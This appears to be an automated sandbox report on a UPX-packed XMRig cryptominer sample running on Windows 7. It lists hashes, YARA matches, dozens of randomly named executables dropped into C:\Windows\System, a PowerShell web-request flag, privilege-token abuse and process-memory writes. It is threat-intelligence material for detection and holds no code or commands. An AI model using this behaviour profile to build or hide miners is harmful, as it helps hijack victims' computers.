xmrig | ef6571ac89e6f4b32b7fe446bee430cceceb795bfc4fbf583bc5415762005525

Analysis

max time kernel
150s
max time network
148s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
14/05/2024, 22:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
Size

2.9MB
MD5

3cbfb27b102e7235a86ab5b5f6db2990
SHA1

23934385bea8bf8c2bcee1c66ee34674b502f0b9
SHA256

ef6571ac89e6f4b32b7fe446bee430cceceb795bfc4fbf583bc5415762005525
SHA512

b207db8eda95a6e9de8289f154fb0bcb12edfc815f0cb5c92653abbc8968f4878b7d05e8a4a6eb88dcabd2f601c3f1b8ed825372d217c07bdda52035995b2ba7
SSDEEP

49152:S1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hMkHC0INx29L5KQ2A:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2Rq

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 53 IoCs

miner

resource	yara_rule
behavioral1/memory/1992-0-0x000000013F890000-0x000000013FC86000-memory.dmp	xmrig
behavioral1/files/0x000a000000015cb1-7.dat	xmrig
behavioral1/files/0x0031000000015d0a-9.dat	xmrig
behavioral1/files/0x0007000000015d61-11.dat	xmrig
behavioral1/files/0x0016000000005586-33.dat	xmrig
behavioral1/files/0x0008000000015d9c-39.dat	xmrig
behavioral1/files/0x0007000000016122-49.dat	xmrig
behavioral1/files/0x0007000000016ce0-53.dat	xmrig
behavioral1/files/0x0006000000016cfd-68.dat	xmrig
behavioral1/files/0x0006000000016d10-77.dat	xmrig
behavioral1/files/0x0006000000016d31-98.dat	xmrig
behavioral1/files/0x0006000000016da9-113.dat	xmrig
behavioral1/files/0x0006000000016e56-118.dat	xmrig
behavioral1/memory/2484-131-0x000000013FB00000-0x000000013FEF6000-memory.dmp	xmrig
behavioral1/memory/2580-135-0x000000013FCF0000-0x00000001400E6000-memory.dmp	xmrig
behavioral1/memory/1680-133-0x000000013F260000-0x000000013F656000-memory.dmp	xmrig
behavioral1/files/0x000600000001737e-145.dat	xmrig
behavioral1/files/0x00060000000173c5-152.dat	xmrig
behavioral1/memory/2788-146-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	xmrig
behavioral1/memory/1432-171-0x000000013F690000-0x000000013FA86000-memory.dmp	xmrig
behavioral1/files/0x0030000000015d21-175.dat	xmrig
behavioral1/memory/2800-161-0x000000013FA70000-0x000000013FE66000-memory.dmp	xmrig
behavioral1/memory/2292-165-0x000000013F730000-0x000000013FB26000-memory.dmp	xmrig
behavioral1/files/0x00060000000173e7-176.dat	xmrig
behavioral1/memory/1992-164-0x00000000037F0000-0x0000000003BE6000-memory.dmp	xmrig
behavioral1/memory/1808-163-0x000000013F1D0000-0x000000013F5C6000-memory.dmp	xmrig
behavioral1/memory/1992-2456-0x000000013F890000-0x000000013FC86000-memory.dmp	xmrig
behavioral1/memory/2600-3358-0x000000013FAA0000-0x000000013FE96000-memory.dmp	xmrig
behavioral1/files/0x000600000001748d-194.dat	xmrig
behavioral1/files/0x00060000000173c5-160.dat	xmrig
behavioral1/memory/2472-141-0x000000013F470000-0x000000013F866000-memory.dmp	xmrig
behavioral1/files/0x000600000001745d-185.dat	xmrig
behavioral1/files/0x00060000000173df-170.dat	xmrig
behavioral1/files/0x0006000000016f7e-123.dat	xmrig
behavioral1/files/0x000600000001737b-130.dat	xmrig
behavioral1/files/0x0006000000016da9-111.dat	xmrig
behavioral1/files/0x0006000000016d85-108.dat	xmrig
behavioral1/files/0x0006000000016d81-101.dat	xmrig
behavioral1/files/0x0006000000016d29-93.dat	xmrig
behavioral1/files/0x0006000000016d21-88.dat	xmrig
behavioral1/files/0x0006000000016d18-83.dat	xmrig
behavioral1/files/0x0006000000016d06-71.dat	xmrig
behavioral1/files/0x0006000000016cf3-64.dat	xmrig
behavioral1/files/0x0006000000016ced-58.dat	xmrig
behavioral1/files/0x0007000000015f23-43.dat	xmrig
behavioral1/files/0x0016000000005586-30.dat	xmrig
behavioral1/memory/2600-22-0x000000013FAA0000-0x000000013FE96000-memory.dmp	xmrig
behavioral1/memory/2156-16-0x000000013F410000-0x000000013F806000-memory.dmp	xmrig
behavioral1/memory/2484-5202-0x000000013FB00000-0x000000013FEF6000-memory.dmp	xmrig
behavioral1/memory/2600-5214-0x000000013FAA0000-0x000000013FE96000-memory.dmp	xmrig
behavioral1/memory/2580-5222-0x000000013FCF0000-0x00000001400E6000-memory.dmp	xmrig
behavioral1/memory/2472-5226-0x000000013F470000-0x000000013F866000-memory.dmp	xmrig
behavioral1/memory/1808-5224-0x000000013F1D0000-0x000000013F5C6000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2900	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
2156	gtzvZMZ.exe
2600	KtvgAoM.exe
2484	jimCjRi.exe
1680	MPynzTa.exe
2580	nSoRsiR.exe
2408	PHycLrT.exe
2472	SUpcedU.exe
2788	HjSNiDM.exe
2800	INeqCHl.exe
1808	vsOsHdg.exe
2292	TZMhZNH.exe
1432	CusBfHO.exe
2372	sTmuhxM.exe
1624	GjtJVcE.exe
968	CojlXmD.exe
2312	AjdveUL.exe
2200	bsGGJuL.exe
1524	rAThIeU.exe
2368	uMwwQCZ.exe
1584	ashFrWu.exe
2656	RhPBEfo.exe
1300	oDyNGzd.exe
2684	ZQdAwFj.exe
2100	zLBHWue.exe
812	wMwlPxO.exe
920	hyImIXU.exe
2496	jmRvhEg.exe
380	lYpStcP.exe
2576	dLQYhvt.exe
3064	VioptEd.exe
2752	WUvMQwv.exe
984	giBdeSU.exe
556	WoxJJja.exe
820	nbLymLl.exe
1048	BJsnakt.exe
1712	nnEaaYm.exe
2700	rCBdDOJ.exe
1916	wlrguum.exe
2004	mkclgib.exe
1444	yNxxSga.exe
2812	WzUYoSy.exe
896	kMiTUST.exe
1648	YPqmlvU.exe
2716	DlDmxAJ.exe
2160	AOwdEnj.exe
1736	ljBsOEs.exe
2980	jSOWCYC.exe
1476	vnxigdU.exe
1724	mjZFafC.exe
2192	HlfXwJU.exe
1620	WFaQmnS.exe
1280	RXykAws.exe
1220	kkgrDsO.exe
240	xvtaXBP.exe
1564	GXzXQmT.exe
1964	BoQOuMo.exe
3004	JqcOtQA.exe
1520	iNoqsjf.exe
2212	OgWJfXs.exe
1784	kzOTTGc.exe
300	FCfxzPA.exe
2328	skNTDxL.exe
3096	sCgXcuY.exe
3128	gRljbhN.exe

Loads dropped DLL 64 IoCs

pid	Process
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe

UPX packed file 55 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1992-0-0x000000013F890000-0x000000013FC86000-memory.dmp	upx
behavioral1/files/0x000a000000015cb1-7.dat	upx
behavioral1/files/0x0031000000015d0a-9.dat	upx
behavioral1/files/0x0007000000015d61-11.dat	upx
behavioral1/files/0x0016000000005586-33.dat	upx
behavioral1/files/0x0008000000015d9c-39.dat	upx
behavioral1/files/0x0007000000016122-49.dat	upx
behavioral1/files/0x0007000000016ce0-53.dat	upx
behavioral1/files/0x0006000000016cfd-68.dat	upx
behavioral1/files/0x0006000000016d10-77.dat	upx
behavioral1/files/0x0006000000016d31-98.dat	upx
behavioral1/files/0x0006000000016da9-113.dat	upx
behavioral1/files/0x0006000000016e56-118.dat	upx
behavioral1/memory/2484-131-0x000000013FB00000-0x000000013FEF6000-memory.dmp	upx
behavioral1/memory/2580-135-0x000000013FCF0000-0x00000001400E6000-memory.dmp	upx
behavioral1/memory/1680-133-0x000000013F260000-0x000000013F656000-memory.dmp	upx
behavioral1/files/0x000600000001737e-145.dat	upx
behavioral1/files/0x00060000000173c5-152.dat	upx
behavioral1/memory/2788-146-0x000000013F5D0000-0x000000013F9C6000-memory.dmp	upx
behavioral1/memory/1432-171-0x000000013F690000-0x000000013FA86000-memory.dmp	upx
behavioral1/files/0x0030000000015d21-175.dat	upx
behavioral1/memory/2800-161-0x000000013FA70000-0x000000013FE66000-memory.dmp	upx
behavioral1/memory/2292-165-0x000000013F730000-0x000000013FB26000-memory.dmp	upx
behavioral1/files/0x00060000000173e7-176.dat	upx
behavioral1/memory/1808-163-0x000000013F1D0000-0x000000013F5C6000-memory.dmp	upx
behavioral1/memory/1992-2456-0x000000013F890000-0x000000013FC86000-memory.dmp	upx
behavioral1/memory/2600-3358-0x000000013FAA0000-0x000000013FE96000-memory.dmp	upx
behavioral1/files/0x000600000001748d-194.dat	upx
behavioral1/files/0x00060000000173c5-160.dat	upx
behavioral1/files/0x000600000001738c-149.dat	upx
behavioral1/memory/2472-141-0x000000013F470000-0x000000013F866000-memory.dmp	upx
behavioral1/memory/2408-139-0x000000013FEE0000-0x00000001402D6000-memory.dmp	upx
behavioral1/files/0x000600000001745d-185.dat	upx
behavioral1/files/0x00060000000173df-170.dat	upx
behavioral1/files/0x0006000000016f7e-123.dat	upx
behavioral1/files/0x0006000000016f7e-121.dat	upx
behavioral1/files/0x000600000001737b-130.dat	upx
behavioral1/files/0x0006000000016da9-111.dat	upx
behavioral1/files/0x0006000000016d85-108.dat	upx
behavioral1/files/0x0006000000016d81-101.dat	upx
behavioral1/files/0x0006000000016d29-93.dat	upx
behavioral1/files/0x0006000000016d21-88.dat	upx
behavioral1/files/0x0006000000016d18-83.dat	upx
behavioral1/files/0x0006000000016d06-71.dat	upx
behavioral1/files/0x0006000000016cf3-64.dat	upx
behavioral1/files/0x0006000000016ced-58.dat	upx
behavioral1/files/0x0007000000015f23-43.dat	upx
behavioral1/files/0x0016000000005586-30.dat	upx
behavioral1/memory/2600-22-0x000000013FAA0000-0x000000013FE96000-memory.dmp	upx
behavioral1/memory/2156-16-0x000000013F410000-0x000000013F806000-memory.dmp	upx
behavioral1/memory/2484-5202-0x000000013FB00000-0x000000013FEF6000-memory.dmp	upx
behavioral1/memory/2600-5214-0x000000013FAA0000-0x000000013FE96000-memory.dmp	upx
behavioral1/memory/2580-5222-0x000000013FCF0000-0x00000001400E6000-memory.dmp	upx
behavioral1/memory/2472-5226-0x000000013F470000-0x000000013F866000-memory.dmp	upx
behavioral1/memory/1808-5224-0x000000013F1D0000-0x000000013F5C6000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\NOeyFpl.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\riVscvc.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\IwxuwwI.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\mjBCcyJ.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\yLbJbaq.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\hXvUxhN.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\oQDRtWk.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\bvjNSwv.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\eaCxHXF.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\DIDuKjd.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\ONlnNFL.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\WSLMFVG.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\ySzBPBu.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\qxIsyAi.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\OyfwerC.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\FJogGYj.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\HmZtZLc.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\kYvwgaC.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\XFUFMZn.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\WGFKsQP.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\iZaXzwB.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\JBpTHUe.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\lPTTZUB.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\HYxhjmO.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\EaeHXyi.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\lNvpZDm.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\APRIfDB.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\tNeNTaR.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\UPDVpUE.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\kWMqOAm.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\Ehuhsku.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\bEdrxtP.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\hEfMrvj.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\ZrRJMuL.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\gTnXyse.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\XPOzlMb.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\EsjTiFz.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\JpPUWbw.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\KSYtmBA.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\FsRMKkX.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\hQoLZIM.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\vtSdhYK.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\WyMqxMc.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\ahcomzT.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\EEBLWTn.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\QurYxpG.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\DERrMDY.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\kLxHVzq.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\bUfwEcx.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\QwpRqrD.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\wjSwCva.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\Uigkmhq.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\lDWNqQA.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\vfHcpMA.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\gAaMAbK.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\RxRxzuZ.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\jHHETkB.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\IljmbUT.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\BWLHRGw.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\rqXwFjm.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\vJxuBSV.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\idhIwyP.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\KrtYCgA.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
File created	C:\Windows\System\fBOGkdO.exe	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2900	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe
Token: SeDebugPrivilege	2900	powershell.exe
Token: SeLockMemoryPrivilege	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 2900	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	29
PID 1992 wrote to memory of 2900	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	29
PID 1992 wrote to memory of 2900	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	29
PID 1992 wrote to memory of 2156	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	30
PID 1992 wrote to memory of 2156	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	30
PID 1992 wrote to memory of 2156	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	30
PID 1992 wrote to memory of 2600	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	31
PID 1992 wrote to memory of 2600	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	31
PID 1992 wrote to memory of 2600	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	31
PID 1992 wrote to memory of 2484	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	32
PID 1992 wrote to memory of 2484	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	32
PID 1992 wrote to memory of 2484	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	32
PID 1992 wrote to memory of 1680	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	33
PID 1992 wrote to memory of 1680	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	33
PID 1992 wrote to memory of 1680	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	33
PID 1992 wrote to memory of 2580	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	34
PID 1992 wrote to memory of 2580	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	34
PID 1992 wrote to memory of 2580	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	34
PID 1992 wrote to memory of 2408	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	35
PID 1992 wrote to memory of 2408	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	35
PID 1992 wrote to memory of 2408	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	35
PID 1992 wrote to memory of 2472	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	36
PID 1992 wrote to memory of 2472	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	36
PID 1992 wrote to memory of 2472	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	36
PID 1992 wrote to memory of 2788	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	37
PID 1992 wrote to memory of 2788	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	37
PID 1992 wrote to memory of 2788	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	37
PID 1992 wrote to memory of 2800	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	38
PID 1992 wrote to memory of 2800	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	38
PID 1992 wrote to memory of 2800	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	38
PID 1992 wrote to memory of 1808	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	39
PID 1992 wrote to memory of 1808	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	39
PID 1992 wrote to memory of 1808	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	39
PID 1992 wrote to memory of 2292	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	40
PID 1992 wrote to memory of 2292	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	40
PID 1992 wrote to memory of 2292	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	40
PID 1992 wrote to memory of 1432	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	41
PID 1992 wrote to memory of 1432	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	41
PID 1992 wrote to memory of 1432	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	41
PID 1992 wrote to memory of 2372	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	42
PID 1992 wrote to memory of 2372	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	42
PID 1992 wrote to memory of 2372	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	42
PID 1992 wrote to memory of 1624	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	43
PID 1992 wrote to memory of 1624	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	43
PID 1992 wrote to memory of 1624	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	43
PID 1992 wrote to memory of 968	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	44
PID 1992 wrote to memory of 968	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	44
PID 1992 wrote to memory of 968	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	44
PID 1992 wrote to memory of 2312	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	45
PID 1992 wrote to memory of 2312	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	45
PID 1992 wrote to memory of 2312	1992	3cbfb27b102e7235a86ab5b5f6db2990_NeikiAnalytics.exe	45
